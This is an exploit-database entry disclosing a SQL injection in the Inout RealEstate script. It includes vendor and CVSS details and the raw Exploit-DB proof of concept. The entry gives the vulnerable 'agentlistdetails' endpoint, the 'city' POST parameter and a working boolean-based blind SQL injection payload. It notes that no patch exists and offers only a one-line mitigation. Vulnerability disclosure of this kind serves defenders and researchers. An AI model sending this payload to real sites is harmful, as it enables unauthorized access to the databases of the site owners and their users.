header-logo
Suggest Exploit
vendor:
Inout RealEstate
by:
Ahmet Ümit BAYRAM
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Inout RealEstate
Affected Version From: Latest
Affected Version To: Latest
Patch Exists: NO
Related CWE: N/A
CPE: a:inoutscripts:inout_realestate
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2019

Inout RealEstate – SQL Injection

Inout RealEstate is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a malicious payload to the vulnerable parameter 'city' in the 'agentlistdetails' page. The payload 'brokername=&city=1' RLIKE (SELECT (CASE WHEN (8778=8778) THEN 1 ELSE 0x28 END)) AND 'VZpy'='VZpy&cityname=e&page=1&sortby=1' can be used to exploit this vulnerability.

Mitigation:

Input validation should be used to prevent SQL Injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Inout RealEstate - SQL Injection
# Date: 29.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.inoutscripts.com/products/inout-realestate/
# Demo Site: http://inout-realestate.demo.inoutscripts.net/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/agents/agentlistdetails
Vulnerable Parameter: city (POST)
Payload: brokername=&city=1' RLIKE (SELECT (CASE WHEN (8778=8778) THEN 1
ELSE 0x28 END)) AND 'VZpy'='VZpy&cityname=e&page=1&sortby=1